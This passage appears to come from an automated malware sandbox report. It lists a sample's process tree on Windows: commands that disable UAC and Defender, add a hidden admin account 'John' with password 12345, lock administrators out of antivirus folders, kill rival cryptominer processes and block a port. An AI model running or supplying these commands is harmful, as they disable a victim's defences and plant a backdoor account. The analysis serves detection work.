      SCHTASKS /Delete /TN "\Microsoft\Windows\WindowsUpdate\SUpdate" /F
      4⤵
      PID:3644
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "\Windows\CampaignManager" /F
      4⤵
      PID:1600
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "\Windows\FamilySafetyRefresherTask" /F
      4⤵
      PID:2424
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "\Windows\ServiceRun" /F
      4⤵
      PID:5176
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "\Windows\SpaceManagTask" /F
      4⤵
      PID:4376
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ImmersiveShell" /v UseActionCenterExperience /t REG_DWORD /d 0 /f
      4⤵
      PID:2628
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
      4⤵
      PID:2304
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\Windows Error Reporting" /v disable /t REG_DWORD /d 1 /f
      4⤵
      PID:1212
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\PushNotifications" /v ToastEnabled /t REG_DWORD /d 0 /f
      4⤵
      PID:5952
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f
      4⤵
      PID:2028
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration" /v Notification_Suppress /t REG_DWORD /d 1 /f
      4⤵
      PID:2220
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Explorer" /v DisableNotificationCenter /t REG_DWORD /d 1 /f
      4⤵
      PID:2584
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      PID:4464
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v John /t REG_DWORD /d 0 /f
      4⤵
      Hide Artifacts: Hidden Users
      PID:5816
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Programdata /t REG_SZ /d System /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:3892
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v C:\ProgramData /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:5556
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" /v Exclusions_Paths /t REG_DWORD /d 1 /f
      4⤵
      PID:1904
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:2420
  - - C:\Windows\SysWOW64\net.exe
      net user John 12345 /add
      4⤵
      PID:3980
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user John 12345 /add
        5⤵
        
        PID:1680
  - - C:\Windows\SysWOW64\net.exe
      net localgroup "└Σ∞ΦφΦ±≥≡α≥ε≡√" john /add
      4⤵
      System Location Discovery: System Language Discovery
      PID:2540
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup "└Σ∞ΦφΦ±≥≡α≥ε≡√" john /add
        5⤵
        
        PID:1944
  - - C:\Windows\SysWOW64\net.exe
      net localgroup "╧εδⁿτεΓα≥σδΦ ≤Σαδσφφεπε ≡αßε≈σπε ±≥εδα" John /add
      4⤵
      PID:5464
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup "╧εδⁿτεΓα≥σδΦ ≤Σαδσφφεπε ≡αßε≈σπε ±≥εδα" John /add
        5⤵
        
        PID:4008
  - - C:\Windows\SysWOW64\net.exe
      net localgroup "╧εδⁿτεΓα≥σδΦ ≤Σαδσφφεπε ≤∩≡αΓδσφΦ " John /add
      4⤵
      PID:456
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup "╧εδⁿτεΓα≥σδΦ ≤Σαδσφφεπε ≤∩≡αΓδσφΦ " John /add
        5⤵
        
        PID:1084
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Program Files\COMODO\COMODO Internet Security"
      4⤵
      Drops file in Program Files directory
      Views/modifies file attributes
      PID:5904
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files\COMODO\COMODO Internet Security" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:4044
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Program Files (x86)\360\Total Security"
      4⤵
      Drops file in Program Files directory
      PID:5844
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\360\Total Security" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:4220
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\ProgramData\360TotalSecurity
      4⤵
      Views/modifies file attributes
      PID:2932
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\ProgramData\360safe
      4⤵
      Views/modifies file attributes
      PID:4032
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\ProgramData\360TotalSecurity" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:2516
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\ProgramData\360safe" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:5452
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM SPYHUNTER4.EXE /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4384
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:3320
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\Program Files\Enigma Software Group\SpyHunter
      4⤵
      PID:780
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files\Enigma Software Group\SpyHunter" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:2732
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files\Enigma Software Group\SpyHunter\SpyHunter4.exe" /deny Admin:(D,F)
      4⤵
      PID:2796
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\Program Files (x86)\SpyHunter
      4⤵
      PID:956
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\Program Files\SpyHunter
      4⤵
      PID:5316
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files\SpyHunter" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5468
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\SpyHunter" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:4076
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files\SpyHunter\SpyHunter4.exe" /deny Admin:(D,F)
      4⤵
      Possible privilege escalation attempt
      PID:4328
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\SpyHunter\SpyHunter4.exe" /deny ┬±σ:(D,F)
      4⤵
      Possible privilege escalation attempt
      PID:3720
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM Cube.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5896
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Program Files (x86)\Cezurity"
      4⤵
      Drops file in Program Files directory
      Views/modifies file attributes
      PID:3712
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Program Files\Cezurity"
      4⤵
      Drops file in Program Files directory
      Views/modifies file attributes
      PID:5820
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\ProgramData\Cezurity
      4⤵
      Views/modifies file attributes
      PID:4452
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\ProgramData\Cezurity" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5356
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files\Cezurity" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:3580
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Cezurity" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:1308
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\ProgramData\McAfee"
      4⤵
      PID:4632
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\ProgramData\McAfee" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:2596
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Program Files\McAfee"
      4⤵
      Drops file in Program Files directory
      Views/modifies file attributes
      PID:3672
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files\McAfee" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:1004
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Program Files\McAfee.com"
      4⤵
      Drops file in Program Files directory
      PID:640
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files\McAfee.com" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:3224
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\ProgramData\Avira
      4⤵
      PID:5572
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\ProgramData\Avira" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3752
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\ProgramData\Package Cache"
      4⤵
      PID:2292
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\ProgramData\Package Cache" /deny Admin:(OI)(CI)(F)
      4⤵
      System Location Discovery: System Language Discovery
      PID:1376
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Program Files\ESET"
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      PID:856
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files\ESET" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:3252
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\ProgramData\ESET
      4⤵
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:4420
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\ProgramData\ESET" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:5908
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Program Files\AVAST Software\Avast"
      4⤵
      Drops file in Program Files directory
      Views/modifies file attributes
      PID:1252
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files\AVAST Software\Avast" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:1564
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Programdata\AVAST Software"
      4⤵
      Views/modifies file attributes
      PID:1888
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Programdata\AVAST Software" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:628
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Programdata\Kaspersky Lab"
      4⤵
      Views/modifies file attributes
      PID:6068
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Programdata\Kaspersky Lab Setup Files"
      4⤵
      Views/modifies file attributes
      PID:4604
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Programdata\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5428
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Programdata\Kaspersky Lab Setup Files" /deny Admin:(OI)(CI)(F)
      4⤵
      System Location Discovery: System Language Discovery
      PID:1772
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Program Files\Kaspersky Lab"
      4⤵
      Drops file in Program Files directory
      PID:2060
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Program Files (x86)\Kaspersky Lab"
      4⤵
      Drops file in Program Files directory
      PID:6092
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:5472
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:5548
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\AdwCleaner"
      4⤵
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:5244
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\AdwCleaner" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      System Location Discovery: System Language Discovery
      PID:3240
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Program Files\Malwarebytes\Anti-Malware"
      4⤵
      Drops file in Program Files directory
      Views/modifies file attributes
      PID:5512
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files\Malwarebytes\Anti-Malware" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2324
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\ProgramData\Norton"
      4⤵
      Views/modifies file attributes
      PID:5108
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\ProgramData\Norton" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:348
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\ProgramData\Avg"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5476
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\ProgramData\Avg" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:1284
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Program Files\AVG"
      4⤵
      Drops file in Program Files directory
      Views/modifies file attributes
      PID:6084
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Program Files (x86)\AVG"
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:5000
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files\AVG" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:3420
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\AVG" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:3608
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\ProgramData\grizzly"
      4⤵
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:4388
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\ProgramData\grizzly" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:716
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Users\Admin\AppData\Local\Temp\grizzly-setup-cache"
      4⤵
      Views/modifies file attributes
      PID:2820
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Users\Admin\AppData\Local\Temp\grizzly-setup-cache" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:2436
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\ProgramData\Doctor Web"
      4⤵
      Views/modifies file attributes
      PID:5520
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\ProgramData\Doctor Web" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:2660
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\users\Admin\appdata\roaming\microsoft\windows\helper.exe"
      4⤵
      Views/modifies file attributes
      PID:4712
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\programdata\olly.exe"
      4⤵
      Views/modifies file attributes
      PID:4320
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\programdata\iostream.exe"
      4⤵
      Views/modifies file attributes
      PID:5180
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\programdata\SystemIdle.exe"
      4⤵
      Views/modifies file attributes
      PID:4820
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\programdata\System Idle.exe"
      4⤵
      Views/modifies file attributes
      PID:4828
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\users\Admin\AppData\Roaming\winhost.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:4896
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\users\Admin\AppData\roaming\bot.exe"
      4⤵
      Views/modifies file attributes
      PID:4924
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\users\Admin\AppData\roaming\nvidiadriver.exe"
      4⤵
      PID:5072
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\microsoft\windows\helper.exe" /deny Admin:(D,F)
      4⤵
      PID:4536
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\programdata\olly.exe" /deny Admin:(D,F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2252
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\programdata\iostream.exe" /deny Admin:(D,F)
      4⤵
      Possible privilege escalation attempt
      System Location Discovery: System Language Discovery
      PID:744
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\programdata\SystemIdle.exe" /deny Admin:(D,F)
      4⤵
      Possible privilege escalation attempt
      PID:3648
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\programdata\System Idle.exe" /deny Admin:(D,F)
      4⤵
      PID:2984
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\AppData\Roaming\winhost.exe" /deny Admin:(D,F)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5204
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\AppData\roaming\bot.exe" /deny Admin:(D,F)
      4⤵
      Modifies file permissions
      PID:4544
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\AppData\roaming\nvidiadriver.exe" /deny Admin:(D,F)
      4⤵
      Modifies file permissions
      PID:4348
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall firewall add rule dir=in action=block protocol=tcp localport=7777 name="Block_7777"
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:2828
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall firewall add rule dir=out action=block protocol=tcp localport=7777 name="Block_7777"
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      System Location Discovery: System Language Discovery
      PID:4860
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\Programdata\system32\logs\svchost.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5092
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM systemcore.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5364
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\AppData\roaming\subdir"
      4⤵
      PID:3168
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\AppData\roaming\subdir" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:4844
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM serviceon.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2816
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM ifxpers.exe /T /F
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3448
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM "idle driver.exe" /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4232
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\appdata\roaming\microsoft software"
      4⤵
      Views/modifies file attributes
      PID:5680
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\microsoft software" /deny Admin:(OI)(CI)(F)
      4⤵
      System Location Discovery: System Language Discovery
      PID:4784
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM "taskhost.exe" /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2024
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM "intel1s.exe" /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5976
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM "intel.exe" /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:920
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM "intel1.exe" /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:904
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM "taskhostss.exe" /T /F
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1900
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\appdata\roaming\microsoft software"
      4⤵
      Views/modifies file attributes
      PID:3620
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\AppData\Roaming\Microsoft\SystemCertificates" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:3416
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM moonlight.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5796
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM moonlight.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5712
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:1716
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\windows\syswow64\xmr64"
      4⤵
      Drops file in System32 directory
      Views/modifies file attributes
      PID:2360
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\windows\syswow64\xmr64" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2336
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM intel1.exe /T /F
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2384
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\programdata\GOOGLE"
      4⤵
      PID:1600
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\programdata\GOOGLE" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:2424
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ErrorCheck.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5176
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\AppData\Roaming\macromedia"
      4⤵
      PID:5960
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\AppData\Roaming\macromedia" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:3260
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM sidebar.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3312
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\programdata\System32
      4⤵
      Views/modifies file attributes
      PID:2028
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM client.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2220
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM hostxmrig.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5272
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:5252
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\windows\hhsm"
      4⤵
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:4152
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\windows\hhsm" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1516
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM AudioSystemDriver.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5324
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\appdata\roaming\microsoft\Speech\"
      4⤵
      PID:816
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\microsoft\Speech" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:1680
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM coretempapp.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3228
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\appdata\roaming\coretempapp"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1384
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\coretempapp" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:3704
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM kryptex.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3564
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM kryptex7.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5956
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:5292
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\appdata\roaming\kryptex"
      4⤵
      PID:1912
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\kryptex" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:1892
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM generictools.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1616
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM digitalsearch.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4172
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:1152
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\appdata\local\generictools"
      4⤵
      Views/modifies file attributes
      PID:2516
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\local\generictools" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:3320
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM intel.exe /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:764
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\programdata\steam"
      4⤵
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2796
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\programdata\steam" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:956
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM esif.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5316
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\programdata\esif.exe" /deny Admin:(D,F)
      4⤵
